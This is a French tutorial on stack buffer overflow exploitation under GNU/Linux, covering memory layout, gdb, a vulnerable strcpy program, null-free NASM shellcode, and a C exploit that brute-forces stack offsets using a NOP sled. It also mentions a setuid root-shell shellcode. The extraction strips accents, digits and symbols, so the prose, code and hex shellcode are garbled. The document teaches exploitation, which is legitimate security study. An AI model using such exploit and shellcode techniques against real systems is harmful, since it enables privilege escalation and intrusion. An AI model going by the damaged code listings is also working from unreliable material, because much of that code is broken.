- Free Documents

publicité
Dpassement de capacit de la pile
Etude des exploitations avances de stack overflow, criture de shellcodes polymorphiques et
alphanumriques
Gross David Alias Deimos ltdeimosfuturezone.bizgt avril
Table des matires
. Introduction ................................................................................................................. .
Rappels des concepts de base ................................................................................... ..
Organisation de la mmoire sous GNU/Linux ............................................ .. Le langage
assembleur .................................................................................... .. Utilisation de logiciels de
dbogage ............................................................. . Exploitation basique de stack overflow
................................................................. .. Prsentation dun cas de stack overflow
...................................................... .. Prise de contrle du flux dexcution
........................................................... .. Programmation de shellcode basique et exploitation
................................. .. Exemples de shellcode
.................................................................................... . Techniques avances de
programmation de shellcode ...................................... .. Shellcode polymorphique
............................................................................... .. Shellcode alphanumrique
.............................................................................. ... Instructions disponibles
............................................................................ ... Lalgorithme dencodage
......................................................................... ... Substitution dinstructions
....................................................................... ... Structure globale du shellcode
................................................................ ... Mise en application
................................................................................... ... Exploitation
................................................................................................ .. Camouflage de NOPs
......................................................................................
. Technique avance dexploitation de stack overflow ......................................... .. ret into
linuxgate.so. ............................................................................. ... Prsentation de la mthode
...................................................................... ... Exploitation
................................................................................................ ... Protection possible
..................................................................................... .. ret into .text
................................................................................................. .. Exploitation en local
........................................................................................
. Conclusion .................................................................................................................... .
Remerciements ............................................................................................................ .
Rfrences .................................................................................................................... .
Annexes .........................................................................................................................
Cest en effectuant des tests dexploitation de stack overflow avec ces shellcodes que je me
suis rendu compte des nombreuses protections prsentes en local en plus des protections
prsentes lors dune attaque distance. lcriture mais surtout la prparation de ce texte mont pris
un temps considrable et jespre avoir des retours positifs de ce travail. Introduction Avant de
se lancer dans le vif du sujet.. Jai ainsi largi le sujet de cet article. javais pour objectif dcrire
un article uniquement sur les shellcodes polymorphiques et de lapprofondir en dcrivant la
programmation de shellcode entirement alphanumrique i.e. do la rdaction des parties et . Je
suis actuellement tudiant en premire anne de DUT informatique . comme par exemple la
randomisation de ladresse de base de la pile sous GNU/Linux depuis le kernel . tous les
opcodes compris dans les valeurs azAZ afin de dmontrer les faiblesses potentielles des
NIDS. . et en mme temps dcid de le destiner un plus large public. destines aux dbutants ou
aux individus ne stant jamais penchs sur les failles de dpassement de tampon buffer
overflow. Je mexcuse davance pour toutes les fautes et manques de prcisions que vous
pourrez trouver dans ce document. Nhsitez donc pas me contacter afin que je corrige ou
complte celuici jessayerai de toute faon de le tenir jour quant lvolution de la scurit
informatique ou pour me faire part de vos critiques constructives et commentaires.. Ctait un
sujet que je trouvais trs intressant et ma motivation produire un texte sur les shellcodes
alphanumriques tait pousse par le fait que je nai pas vu jusqu prsent de document franais sur
ce sujet. A la base. je tiens me prsenter afin que le lecteur sache qui se cache derrire ce
document et en profiter pour prciser certains points concernant ce texte.
etc. et non pas une documentation exhaustive permettant un apprentissage complet de ces
notions. pour de nombreuses raisons videntes. De plus certaines connaissances ncessaires
la lecture de ce document ne seront pas rappeles. bien que les scripts Perl prsents dans cet
article ne sy trouvent quen guise de Proof of Concept .En effet jy dcrirai lorganisation de la
mmoire sous GNU/Linux. la manipulation de certains outils GNU/Linux. comme la
programmation en C voire Perl. Il sagit donc de simples rappels afin de se rafraichir la
mmoire sur certains points. les gnralits du langage machine. .
ElfPhdr et ElfShdr sont dtailles dans les annexes de ce document. . les fichiers binaires
excutables sont du format ELF Executable and Linking Format.. Voici la structure globale
dun fichier ELF Les structures pour processeur i ElfEhdr. Organisation de la mmoire sous
GNU/Linux Sous les systmes GNU/Linux.. Pour les binaires excutables au format x. se rfrer
au manpage du format elf. Rappels des concepts de base .
so.data elle contient toutes les donnes globales initialises La section . On distingue ainsi un
peu moins dune trentaine de type de sections.hgt int i.Lorsquun excutable est lanc.bss char
c A. Il nest toutefois ncessaire de retenir uniquement La section . il sagit du fichier objet
partag /lib/ldlinux. allocation et excution. en tenant compte des champs pfilez la taille du
segment dans le fichier et pmemsz la taille du segment en mmoire. Pour chaque segment le
champ pflags dfinit les droits en excution. criture et lecture.data . et rcupre une chaine de
caractres qui correspond linterprteur. le systme dexploitation va chercher dans la Program
Header Table le segment dont le champ ptype correspond la valeur PTINTERP. chaque
processus dispose dune pile stack qui contiendra les variables locales et dun tas o seront
stocks les variables alloues dynamiquement avec la fonction malloc en C.hgt include ltstdio..
lespace user tant situ entre x et xbfffffff et lespace kernel entre xc et xffffffff. cestdire xbfffffff .
// . Il prend ensuite la valeur du champ poffset afin de localiser le segment dans le fichier
ELF. La pile crot vers les adresses basses. qui est optionnelle dans les fichiers binaires
excutables.bss elle contient toutes les donnes globales noninitialises De plus. donne des
informations supplmentaires sur les diffrentes sections grce au champ shtype qui spcifie le
contenu du segment et shflags qui dfinit les droits en criture. En gnral. La Section Header
Table.text elle contient les opcodes code machine du programme excuter La section . et
ladresse de base de celleci se situe vers les adresses hautes de lespace utilisateur user
land. loprateur new en C. Pour rsumer et obtenir davantage dinformations. sous GNU/Linux.
// . passons la pratique include ltmalloc. Celuici est ainsi le premier tre mapp en mmoire. et
cest lui qui va parcourir nouveau la Program Header Table afin de mapper tous les segments
de type PTLOAD avec le syscall mmap.
char env int j.data xxnquot quotargv xxnquot quotargv xxnquot quotenv xxnquot quotenv
xxnquot quotstack xxnquot quotheap xxnquot. char argv. while sleep. env. printfquotPID
dnquot quot. deimosltbx/memory gcc ggdb o mem mem. ampc. k. ampi. env.int mainint
argc.text xxnquot quot. argv.data x argv xbfbdba argv xbfbfcf env xbfbdbb env xbfbfca stack
xbfbdb heap xa Petite vrification de ladresse des arguments et de lenvironnement dans la
pile. Le binaire .bss xxnquot quot.bss x . // stack char k char mallocsizeofchar. ampj. les
variables denvironnement tant situes juste au dessus des arguments xbfbfca ./mem a t lanc
dans le shell avec un argument la chaine . .c deimosltbx/memory ./mem plop PID .
argv.xbfbfcf xB ./mem plop . getpid.text xf ./mem correspondant argv fait bien caractres en
comptant le caractre final NULL. main.
T start D c B i f T main Avec ces informations. D la section .De plus. deimosltbx/memory nm
mem . Le symbole B reprsente la section .bss..text.data et T la section . qui permet de lister
les symboles dun fichier objet. lutilitaire nm. on peut facilement reprsenter la mmoire dun
processus par ce schma volontairement simplifi . nous assure que chaque variable est dans
la bonne section..
so bfdbfdb rwp /lib/tls/libc.. stat informations diverses sur ltat du processus seul le champ
startstack nous intresse deimosltbx/memory .so bfbbbfb rwp bfbb stack deimosltbx/memory
cat /proc//stat mem S deimosltbx/memory ... s pour le partage et p pour le statut priv.so bb
rwp /lib/ld. Dans chaque rpertoire /proc/pid/. w pour criture.. on peut connatre de nombreuses
informations sur celuici grce au systme de fichiers virtuel /proc. ainsi que les droits pour
chacune dentre elles r pour lecture. x pour lexcution. un sousrpertoire est cr dans /proc avec
comme nom son Processus ID.Lorsquun processus est lanc./mem amp deimosltbx/memory
cat /proc//maps rxp /home/deimos/memory/mem a rwp /home/deimos/memory/mem ab rwp
a heap beabea rwp bea beabfd rxp /lib/tls/libc..... chaque processus lanc. on trouve environ
ce fichier contient les variables denvironnement du processus maps ce fichier rend
lutilisateur les dbuts et fin de sections mappes en mmoire. En effet. Bien videmment nous ne
verrons que les points qui nous serviront plus tard dans notre tude des exploitations et
protections de buffer overflow.so bfdbbfdd rwp bfdb bfebfe rwp bfe bfebfea rxp bfe vdso
bfeab rxp /lib/ld.
ebx movb al. bien que un peu moins logique que la syntaxe ATampT.deimosltbx/memory
cat /proc//environ tr quotquot quotnquot TERMxterm SHELL/bin/bash
XDMMANAGED/var/run/xdmctl/xdmctl. source mov eax.maysd.methodclassic USERdeimos
PWD/home/deimos/memory LANGfrFReuro SHLVL HOME/home/deimos
LANGUAGEfrFRfrenGBen LOGNAMEdeimos DISPLAY. dsxebp movw esxfebx.mayfn. dest
movl x.x jmp eax ./mem OLDPWD/home/deimos deimosltbx/memory . al mov esebxecxxf.
COLORTERM .ecx. en effet elle est moins lourde tant allge de tous les prfixes des oprandes.
eax movl eax. Exemple dinstruction basique en syntaxe NASM gauche et ATampT droite
mnemonique dest. eax mov dsebpx. Le langage assembleur De solides connaissances du
langage assembleur seront galement ncessaires pour la suite de ce document. x mov ebx.
ax jmp near eax mnemonique source.. Nous allons donc revoir rapidement deux syntaxes
assembleur la syntaxe ATampT car elle est utilise par gdb Gnu debugger et la syntaxe
NASM Netwide Assembler car les shellcodes seront programms avec celleci .sched.
dnquot.c Voyons prsent comment ce code C est interprt en assembleur et de quelle manire
sont grs la pile et les appels de fonction. ESP. deimosltbx/memory cat gtfunc. printfquotd. j.
ECX. EBX. Pour cela. EIP ESP correspond au pointeur du sommet de la pile Stack Pointer
EIP contient ladresse de la prochaine instruction excuter Instruction Pointer Les registres
EFLAGS . nbr.hgt void foobarint nbr.Un bref rappel des diffrents registres disponibles sur un
processeur i Les registres gnraux EAX. ESI. int main int i . EDX Les registres doffset EDI.
nbr. . int nbr. le dbogueur qui nous servira plus tard sous GNU/Linux. deimosltbx/memory
gcc ggdb o func func. int nbr int local. EBP.. int j . il suffit de dsassembler la fonction int main
et la fonction void foobarint nbr. return . Utilisation de logiciels de dbogage Dans cette
section nous allons rapidement passer en revue les principales commandes de gdb.c include
ltstdio. foobari.
esp xa ltfoobargt mov xcebp.eax xac ltmaingt add x.esp xaf ltmaingt pop ecx xb ltmaingt pop
ebp xb ltmaingt lea xfffffffcecx.esp xa ltmaingt call x ltfoobargt xa ltmaingt mov x. .xfffffffebp
xe ltmaingt movl x.esp x ltmaingt movl x. gdb disass main Dump of assembler code for
function main x ltmaingt lea xesp.eax x ltfoobargt mov eax.deimosltbx/memory gdb func gdb
disass foobar Dump of assembler code for function foobar x ltfoobargt push ebp x ltfoobargt
mov esp.eax x ltmaingt mov eax.esp xd ltmaingt pushl xfffffffcecx x ltmaingt push ebp x
ltmaingt mov esp.esp xf ltfoobargt call x ltprintfpltgt x ltfoobargt leave x ltfoobargt ret End of
assembler dump.eax xf ltmaingt mov eax.eax xd ltfoobargt mov eax.xesp x ltfoobargt mov
xebp.xesp x ltfoobargt movl xc.xesp xc ltmaingt mov xfffffffebp.esp xb ltmaingt ret End of
assembler dump.xfffffffebp x ltmaingt mov xfffffffebp.ebp x ltmaingt push ecx x ltmaingt sub
x.ecx xa ltmaingt and xfffffff.ebp x ltfoobargt sub x.
ebp ecx x.dnquot. lopration inverse seffectue.On remarque quune fonction toujours un
prologue qui sauvegarde le Base Pointer en lempilant push et qui est substitu par le Stack
Pointer courant. gdb b xf Breakpoint at xf file func. gdb run Starting program
/home/deimos/memory/func Breakpoint . avec linstruction leave qui correspond un mov
ebp.c printfquotd.esp x ltmaingt x ltmaingt x ltmaingt x ltmaingt push mov push sub ebp esp.
esp . nbr. esp le processus rserve yy octets sur la pile afin dy stocker les variables locales.
Voici le prologue en question x ltfoobargt push ebp x ltfoobargt mov esp. Puis avec un sub
xyy. nbr at func. nbr. Il sert rcuprer les arguments passs la fonction ainsi qu rtablir
lenvironnement de dpart en fin de fonction.ebp x ltfoobargt sub x. Linstruction ret quant elle
est lquivalent de pop eip.esp En fin. line . pop ebp. d n xd ltFRAMEENDgt .c. de fonction. xf
in foobar nbr. gdb p esp void xbfba gdb x/xw esp xbfba xc x x gdb x/c xc xc ltIOstdinusedgt d
.
La commande x/xw esp affiche mots longs double words en hexadcimal au sommet de la
pile.En plaant un breapoint sur le call de notre fonction printf. . et nos deux valeurs. et x/c xc
affiche octets en ASCII ladresse mise en paramtre. on peut vrifier que le registre ESP pointe
bien vers les trois arguments ladresse de la chane de caractres pour le format daffichage.
patch sur gcc tels que StackShield / PaX. Prsentation dun cas de stack overflow Un stack
overflow. ceci provoquant lcrasement de donnes sensibles. Comme son nom lindique.. ou
dpassement de pile. deimosltbx/stackoverflow cat gtvuln.hgt void fooconst char buf char
buffer. puis le crash de lapplication. . buf. Cette vulnrabilit est redoutable tant donn que
lattaquant lexploite en injectant en mmoire du code que lapplication excute. compilateur
StackGuard. Dans la plupart des cas de stack overflow. ce bug reprsente une faille de scurit
qui peut tre exploite soit en local. Exploitation basique de stack overflow .. Toutefois elle
reste assez complexe mettre en uvre car les protections contre ce type de failles se
multiplient protection antidpassement de tampon depuis gcc . return .c // A compiler avec
fnostackprotector a partir de gcc . il sagit dun bug dans un excutable laissant lutilisateur la
possibilit de stocker dans la pile plus doctets que prvu.. soit distance on parle dexploitation
en remote. Ce dysfonctionnement est d le plus souvent une inattention durant la phase de
programmation du binaire par les dveloppeurs. int mainint argc. strcpybuffer. include ltstring.
est un cas spcifique de buffer overflow dpassement de tampon. flag /GS sous Microsoft
Visual C. . char argv ifargc gt fooargv.
/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA AAAAAAAAA. qui va contenir ESP prologue de la fonction foo deimosltbx/stackoverflow
gcc ggdb o vuln vuln. si lutilisateur entre un argument dont la taille est suprieure caractres un
caractre ASCII quivaut un octet. dont la taille nest pas vrifie. En effet. Program terminated
with signal . Comme expliqu deux paragraphes plus tt. la fonction void fooconst char buf
recopie dans buffer qui fait octets la chane de caractres passe en paramtre. cestdire return .c
deimosltbx/stackoverflow . qui pointe sur linstruction suivante. Dans cet excutable./vuln
deimosltbx/stackoverflow ulimit c deimosltbx/stackoverflow ./vuln core Core was generated
by . cest le er argument du programme qui est recopi dans buffer. on constate que les
variables locales dune fonction sont prcdes de EBP puis de la sauvegarde de EIP sur
laquelle le programme doit retourner lors de linstruction RET de la fonction./vuln perl e print
quotAquotx.Le programme prcdent est un des exemples les plus basiques de stack overflow.
des donnes seront crases dans mmoire. Segmentation fault. x in gdb p ebp void x gdb p eip
void x gdb x/x esp xbfa x x x x xbfa x x x x xbfa x x gdb quit . Erreur de segmentation core
dumped deimosltbx/stackoverflow gdb . Quelles seront ces octets de la pile sur lesquels
lutilisateur va crire Si lon revient au schma de la mmoire prsent dans le chapitre prcdent.
sont empils successivement Ladresse de largument argv LEIP courant. LEBP courant. lors
de lappel fooargv. Dans notre cas.
lexception dun troisime paramtre qui est la longueur de la chane. le programme vulnrable
crash suite un crasement du registre EIP par la chane de caractres AAAA . crer de lourds
problmes de scurit lapplication. En effet. De nombreuses fonctions sur les chanes de
caractres sont viter . rien ne nous empche de remplir notre buffer de caractres A puis de
mettre dans les derniers octets ladresse o lon veut que le processus jump. . Toutefois..
strcat. vsprintf et bien dautres. sprintf. dseax mov dsedxeax. cl jnz strcpy EAX contient loffset
de la chane de caractre copier. La fonction strcpy est ainsi viter lors de la programmation en
C car elle peut. selon leur utilisation. selon son utilisation. Cette fonction peut tre rsume ces
quelques lignes de langage machine strcpy mov cl. aucun code excutable ne se situe
ladresse mmoire x. Il vaut mieux utiliser strncpy. Prise de contrle du flux dexcution Dans
lexemple prcdent. fonction identique strcpy. . on peut citer gets. strcpy. et EDX loffset
mmoire o seront crits les caractres. cl inc eax test cl.On vient ainsi de vrifier avec gdb que
EBP et EIP ont bien t crass par les donnes entres par lutilisateur x correspond au code
ASCII hexadcimal du caractre A. On constate donc quaucune vrification nest faite . la copie
des caractres ne sarrte uniquement lors de la rencontre dun octet NULL.
argv. deimosltbx/stackoverflow gcc ggdb o vuln vuln. nous allons sauter vers ladresse
mmoire dune fonction de notre excutable. return . cette adresse sera celle de notre
shellcode.hgt void barvoid printfquotHacking Attempt. Quit Hacking Attempt. Cela ne sert qu
titre de dmonstration .esp xe ltbargt movl x. sauter vers une fonction de lexcutable nous
permettra rarement darriver nos fins. quelques pages plus loin.esp xee ltbargt call xd ltinitgt
xf ltbargt leave xf ltbargt ret End of assembler dump. strcpybuffer. printfquotQuitnquot. gdb
quit deimosltbx/stackoverflow .nquot. dans lexploitation dun stack overflow. Erreur de
segmentation core dumped deimosltbx/stackoverflow . print quotxexxxquot. int mainint argc.c
deimosltbx/stackoverflow gdb vuln gdb disass bar Dump of assembler code for function bar
xe ltbargt push ebp xe ltbargt mov esp.c include ltstdio. deimosltbx/stackoverflow cat
gtvuln.ebp xe ltbargt sub x./vuln perl e print quotAquotx. En effet.Dans lexemple suivant.
char argv char buffer.
. La premire tape consiste programmer notre shellcode en assembleur. cestdire un
programme exploitant une faille de scurit dans un excutable en lui injectant en mmoire un
shellcode puis en sautant ladresse de ce dernier afin de lexcuter. Programmation de
shellcode basique et exploitation Notre objectif dans cette partie est de concevoir un
exploit.text start jmp short donnees rmdir pop ebx xor eax.asm . Je fais confiance vos talents
de coder pour dvelopper des shellcodes plus exotiques et les tester. syscall exit xor ebx. x .
eax mov al. eax mov al. deimosltbx/stackoverflow/sc cat gtshellcode. Nous avons alors une
infinit de choix sur laction de ce code . syscall rmdir int x xor eax. toutefois nous allons faire
simple et programmer un shellcode qui nous supprimera le rpertoire testdir cr auparavant
pour le test. x ..asm BITS global start segment . ebx int x donnees call rmdir nom db
quottestdirquot deimosltbx/stackoverflow/sc nasm shellcode.
used for restarting / . on peut se rfrer au fichier /usr/src/linux/arch/i/kernel/syscalltable. nd
argument ECX.long sysrmdir / / A prsent que nous avons notre shellcode compil. Si le
nombre darguments passer en paramtres est suprieur . ladresse de linstruction suivante EIP
est empile et on la rcupre avec linstruction pop. on voit les codes des deux syscall utilises x
pour exit et d soit x pour rmdir.long sysexit . alors le registre ECX contiendra lemplacement
mmoire o seront stocks les arguments.long sysopen / / . En effet.old quotsetupquot system
call.long syswrite . on rcupre ladresse de chane de caractres testdir par le classique jmp /
call / pop lors du call./arch/i/ kernel/syscalltable. puis EDX. afin quil soit logeable mme dans
des buffers de petite taille quelques dizaines doctets..Rien dexceptionnel dans ce code
assembleur . EDI et EBP. Pour la liste de tous les syscalls. il faut vrifier quil puisse tre utilis
dans une exploitation de stack overflow.S ENTRYsyscalltable . Lors dun appel systme
syscall. il ne doit comporter aucun octet NULL en effet les fonctions sur les chanes de
caractre sarrtent lorsquelles rencontrent le caractre et ne doit contenir aucune adresse
absolue car ladresse exacte du shellcode dans la pile nest jamais connue.S cidessous un
extrait. le numro de lappel se situe dans EAX. .long sysmkdir .long sysrename .long sysfork .
ESI. donc on obtient ladresse de celleci. deimosltbx/stackoverflow/sc cat /usr/src/linux. cest
notre chane qui suit directement le call. et les paramtres dans les registres disponibles er
argument EBX.long sysrestartsyscall / .long sysread . Pour cela. De plus il est prfrable de
coder des shellcodes de la manire la plus courte possible.
syscall exit xor ebx. db cd e ea ff ff ff .testd ir . Voici un exemple de code assembleur viter
car il produit des octets NULL et la taille du shellcode par la mme occasion
deimosltbx/stackoverflow/sc cat gtshellcode... syscall rmdir int x mov eax.... x
.deimosltbx/stackoverflow/sc hexdump C shellcode eb f b c b cd c b db cd .. x .. le shellcode
est correctement cod il ny a aucun byte NULL. ebx int x donnees call rmdir nom db
quottestdirquot deimosltbx/stackoverflow/sc nasm shellcode.testdir d Ici.text start jmp
donnees rmdir pop ebx mov eax..asm deimosltbx/stackoverflow/sc hexdump C shellcode e b
b cd b ... e ec ff ff ff ...asm BITS global start segment ..
open my shellcode. quotlt. int mainint argc. char argv int shellcode int sc. join quotquot.
close shellcode or die Cant close shellcode . my content ltshellcodegt. nous navons pas
programm un shellcode de plusieurs centaines doctets et on les excute telle une fonction C
deimosltbx/stackoverflow/sc cat gtextractshellcode. print quotxquot.c test.c Dans la fonction
main test.pl /usr/bin/perl use strict.pl xebxfxbxxcxbxxcdxxxcxbxxxdbxcdxxexecx
ffxffxffxxxxxxx deimosltbx/stackoverflow/sc cat gttest.asm test test.
deimosltbx/stackoverflow/sc gcc o test test. . shellcodequot or die Cant open shellcode .pl
shellcode shellcode.c attention use of cast expressions as lvalues is deprecated
deimosltbx/stackoverflow/sc mkdir testdir deimosltbx/stackoverflow/sc ls extractshellcode.
quotxquot.Pour tre sr que tout se droule comme prvu lors de lexcution de notre shellcode.
unpackquotHquot. on extrait les octets de notre code assembleur obtenus avec la
commande hexdump C shellcode avec un script Perl car cest quelque peu fastidieux et
encore. use warnings. deimosltbx/stackoverflow/sc perl extractshellcode.content.c testdir .
shellcode. print quotnquot./g.c char sc quotxebxfxbxxcxbxxcdxxxcxbxxxdbxcdxxexec
xffxffxffxxxxxxxquot. return . print m/..
nos deux syscalls sexcutent donc sans problme. syscall rmdir mov ebx.asm BITS global
start segment . x . mais lorsquil sera dans la pile. byte x push byte x push word x push dword
x xor eax. le shellcode marche tout de mme. la chane de caractres testdir sera suivi de
ladresse de retour.c Tout lair de bien fonctionner le rpertoire est correctement supprim et le
processus ne crash pas . Toutefois je suis prt parier gros que le shellcode ne marche pas
lors de lexploitation.pl shellcode shellcode. Comment faire finir notre chane dun caractre
NULL alors que la rgle fondamentale dun shellcode est de ne pas contenir ce type de
caractre Il suffit de fabriquer ce caractre de fin lexcution mme deimosltbx/stackoverflow/sc
cat shellcode.text start push byte x xor esp. mais une longue chane commenant par testdir et
suivi de caractres spciaux.asm test test. En effet. jusquau prochain caractre NULL. esp int x
./test deimosltbx/stackoverflow/sc ls extractshellcode. comme il ne doit pas contenir doctet
NULL.deimosltbx/stackoverflow/sc . eax mov al. nous avons omis le caractre de fin de chane
dans le nom du rpertoire supprimer nom db quottestdirquot aurait d tre nom db
quottestdirquot. et donc le nom de rpertoire pass rmdir ne sera pas testdir . . Ici.
deimosltbx/stackoverflow/sc perl extractshellcode./test deimosltbx/stackoverflow/sc ls exploit
exploit. syscall exit deimosltbx/stackoverflow/sc nasm shellcode.c . return .c shellcode
shellcode.asm shellcode.asm shellcode.pl xaxxxxxxaxxxxxxxxxxxx
cxbxxxexcdxxxcxbxxxdbxcdx deimosltbx/stackoverflow/sc cat gttest. char argv int shellcode
int sc...c Dans la fonction main test.Pjrfhdihtes c b e cd c b db cd t. .asm warning signed byte
value exceeds bounds deimosltbx/stackoverflow/sc hexdump C shellcode a a jP.c test.o test
test.asm shellcode. int mainint argc.xor eax. eax mov al. shellcode. ebx int x .o test test.c
testdir deimosltbx/stackoverflow/sc . deimosltbx/stackoverflow/sc gcc o test test. x xor ebx.c
shellcode shellcode.c char sc quotxaxxxxxxaxxxxxxxxxxx
xcxbxxxexcdxxxcxbxxxdbxcdxquot.c attention use of cast expressions as lvalues is
deprecated deimosltbx/stackoverflow/sc mkdir testdir deimosltbx/stackoverflow/sc ls exploit
exploit.
.c include ltstdio. Maintenant que le shellcode est prt pour une exploitation de faille.x lorsque
/proc/sys/kernel/randomizevaspace est . Celuici se trouve dans la pile tant donn que nous
traitons ici un cas de stack overflow. cestdire ladresse mmoire de notre shellcode. return .
donc elle avoisinera ladresse xbfffxxxx. deimosltbx/stackoverflow for i in seq . On utilise la
fonction asm de gcc afin dcrire de lassembleur inline et obtenir cette adresse qui toutefois
change dun kernel un autre deimosltbx/stackoverflow su Password
rootltbx/home/deimos/stackoverflow cat gt/proc/sys/kernel/randomizevaspace
rootltbx/home/deimos/stackoverflow exit deimosltbx/stackoverflow cat gtfindesp. il faut
dabord connatre ladresse de base de la pile stack base address qui est statique sous les
noyaux linux . findesp.hgt long findesp asmquotmovl esp./findesp.Le rpertoire est
correctement supprim et lexcutable ne segfault pas . done Stack Pointer xbffffa Stack Pointer
xbffffa Stack Pointer xbffffa deimosltbx/stackoverflow . eaxquot.. do . Cet ensemble doctets
est appel un payload et doit avoir comme taille celle du buffer octets crasement de EBP
octets crasement de EIP. Il nous reste trouver emplacement o se trouve notre shellcode
dans la pile.x ou prcdents et sur les noyaux . rcapitulons ce que va contenir notre buffer
Notre shellcode Ladresse de retour avec laquelle EIP doit tre cras. tout est correct. Pour
cela. int main printfquotStack Pointer xxnquot.
buffersize.Cependant. offset atoiargv. return . unsigned long findesp asmquotmovl esp. i
ptrbuff shellcodei. Nous allons adopter une mthode par brute force. eaxquot. unsigned int
offset. iltstrlenshellcode. comment connatre le dcalage offset que possde ladresse de notre
shellcode dans la pile par rapport cette adresse Nous savons que la pile crot vers les
adresses basses . . argv. de ce fait notre shellcode se situera une adresse infrieure xbffffa.
int mainint argc. cestdire tenter toute une plage dadresse mmoire. buffersize atoiargv. char
argv ifargc lt printfquotUsage s offset buffersizenquot. unsigned long ret. ptrret. fori. ptrbuff
buff. buff char mallocbuffersize . ptrret long ptrbuff. int i.c include ltmalloc. Pour cela.
prparons notre exploit deimosltbx/stackoverflow cat gtexploit. ptrbuff.hgt char shellcode
quotxxxxaxxxxxxaxxxxxxxxx xxxcxbxxxexcdxxxcxbxxxdbxcdxquot. char buff. ret findesp
offset.
/vulnquot. octets de code hexadcimal x ont t rajouts. do echo quotTentative loffset iquot. On
comprend bien que dans le cas inverse. ptrbuff . iltbuffersizestrlenshellcode/. ptrbuff char
ptrret. on alloue de lespace avec malloc pour notre buffer la taille buffersize entre en
paramtre octets pour EBP et EIP. Puis on remplit celuici avec notre shellcode re boucle for et
avec ladresse de retour ret rpte jusqu dbordement du tampon nde boucle for. Ces opcodes
correspondent linstruction NOP No OPeration et sont prsents uniquement pour que le
shellcode ait une taille de multiple de octets./exploit i . . i ptrret ret. quot. return . NULL.
comme par exemple xfaebfff la place de xbffffae. deimosltbx/stackoverflow for i in seq . buff.
done Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit
Instruction illgale core dumped Tentative loffset Quit .fori. EIP serait cras avec une mauvaise
adresse de retour. deimosltbx/stackoverflow Dans un premier temps. ceci tant d un dcalage
de octets Tout est prt. execlquot. On remarque quau dbut de notre shellcode. reste lancer
notre exploit dans une boucle en utilisant un peu de shell scripting./vulnquot.
deimosltbx/stackoverflow . Afin de connatre ladresse exacte avec laquelle craser EIP pour
que tout notre shellcode se lance.Erreur de segmentation core dumped Tentative loffset Quit
Erreur de segmentation core dumped ./exploit Quit Erreur de segmentation core dumped ..
Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit Tentative
loffset Quit Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit
Erreur de segmentation core dumped Tentative loffset Quit Erreur de segmentation core
dumped . nous avons un espace de octets au maximum lire afin de tomber sur le dbut du
shellcode. On se doute alors que le flux dexcution passe par notre syscall exit.
deimosltbx/stackoverflow On remarque quentre les offsets et . le programme quitte
normalement.. sans signal segfault... il suffit dexaminer ltat de la pile lors du segfault obtenu
avec loffset le plus proche on aurait pu directement faire a. et donc quune partie de notre
shellcode est excut. mais ici.
Reading symbols from /lib/ldlinux. Core was generated by . Program terminated with signal
.c notes. ce qui nous convainc que le dbut de notre code se situe xbffffae.so.txt notes.c
deimosltbx/stackoverflow .c notes.. deimosltbx/stackoverflow mkdir testdir
deimosltbx/stackoverflow ls core exploit exploit./exploit Quit deimosltbx/stackoverflow ls core
exploit exploit./vuln jPPjrfhdihtest.. soit un offset de octets par rapport ladresse de base de la
pile..txt sc vuln vuln.txt notes.so.c getesp getesp. xbffffada in gdb p eip void xbffffada gdb p
ebp void xbffffada gdb x/x eip xbffffada xfe xec x xa xbffffaea xa x x xbc xbffffafa xcde xbc
xcddb xfffada xbffffba xfffadabf xfffadabf xfffadabf xfffadabf xbffffba xfffadabf xfffadabf
xfffadabf xfffadabf xbffffba xfffadabf xfffadabf xfffadabf xfffadabf xbffffba xfffadabf xfffadabf
xfffadabf xfffadabf xbffffba xfffadabf xfffadabf xfffadabf xfffadabf gdb quit
deimosltbx/stackoverflow On vrifie rapidement que EIP et EBP ont bien t crass avec ladresse
de retour voulue au cas o .so..done.txt sc testdir vuln vuln.deimosltbx/stackoverflow gdb .c
getesp getesp.c deimosltbx/stackoverflow . Segmentation fault. On laperoit octets aprs
xbffffada.so./vuln core .. puis on visionne les octets qui suivent EIP qui se situe donc dans la
pile. Loaded symbols for /lib/ldlinux. Loaded symbols for /lib/tls/libc..done... Une trentaine
doctets plus loin se situe la rptition de ladresse de retour. Reading symbols from /lib/tls/libc.
Rappelonsnous le dbut de notre shellcode xxxxaxx .
Voici donc notre nouvel exploit deimosltbx/stackoverflow cat gtexploit. cestdire o le
processus vulnrable ne tourne pas en local et o vous ne connaissez ni la version exacte du
noyau Linux installe ni ladresse de la base de la pile. Cest pourquoi la technique de
remplissage dopcodes NOP est utilise trs frquemment dans les exploits.c include ltmalloc.
Connatre loffset du shellcode un octet prs est donc dlicat. Le premier schma est celui de
notre payload actuel.Notre exploitation sest passe comme prvue. imaginezvous dans un
contexte autre que celuici.hgt char shellcode quotxaxxxxxxaxxxxxxxxxxxxc
xbxxxexcdxxxcxbxxxdbxcdxquot. nous passons dune marge derreur possible de un octet
taille du buffer taille du shellcode octets. Dans le cas prcdent. . et le second celui avec NOP
On se rend compte quavec cette technique. Cependant. nous avons alors une marge derreur
de octets. nous avions un shellcode de octets et un buffer de octets .
ptrret long ptrbuff. ret findesp offset.strlenshellcode. unsigned long ret. ptrbuff char ptrret.
offset atoiargv. quot. buffersize. int mainint argc. eaxquot.unsigned long findesp
asmquotmovl esp. ptrbuff buffersize . . return . fori. char argv ifargc lt printfquotUsage s offset
buffersizenquot. NULL. char buff. memsetptrbuff./vulnquot. x. execlquot. iltstrlenshellcode.
argv.strlenshellcode. i ptrret ret. int i. fori. ptrbuff . buffersize atoiargv. buff char
mallocbuffersize . unsigned int offset. buff. ptrbuff buff. ptrret./vulnquot. i ptrbuff shellcodei.
return . ilt. buffersize . ptrbuff.
txt notes.c notes.c notes.c getesp getesp.c sc vuln vuln. . mais malheureusement pas trs
utile. Le premier shellcode que jai cod pour cet article est un classique il permet dobtenir en
local un shell root condition que le binaire ai le bit suid grce aux syscalls syssetuid.txt notes.
et donc avec un shellcode. cestdire dans une zone denviron octets celle o se trouvent les
NOPs.txt sc testdir vuln vuln./exploit Quit deimosltbx/stackoverflow ls exploit exploit./exploit
Quit deimosltbx/stackoverflow ls exploit exploit.txt notes.txt deimosltbx/stackoverflow mkdir
testdir deimosltbx/stackoverflow .c sc vuln vuln./exploit Quit deimosltbx/stackoverflow ls
exploit exploit. NULL. Exemples de shellcode Notre exemple prcdent tait fort sympathique.
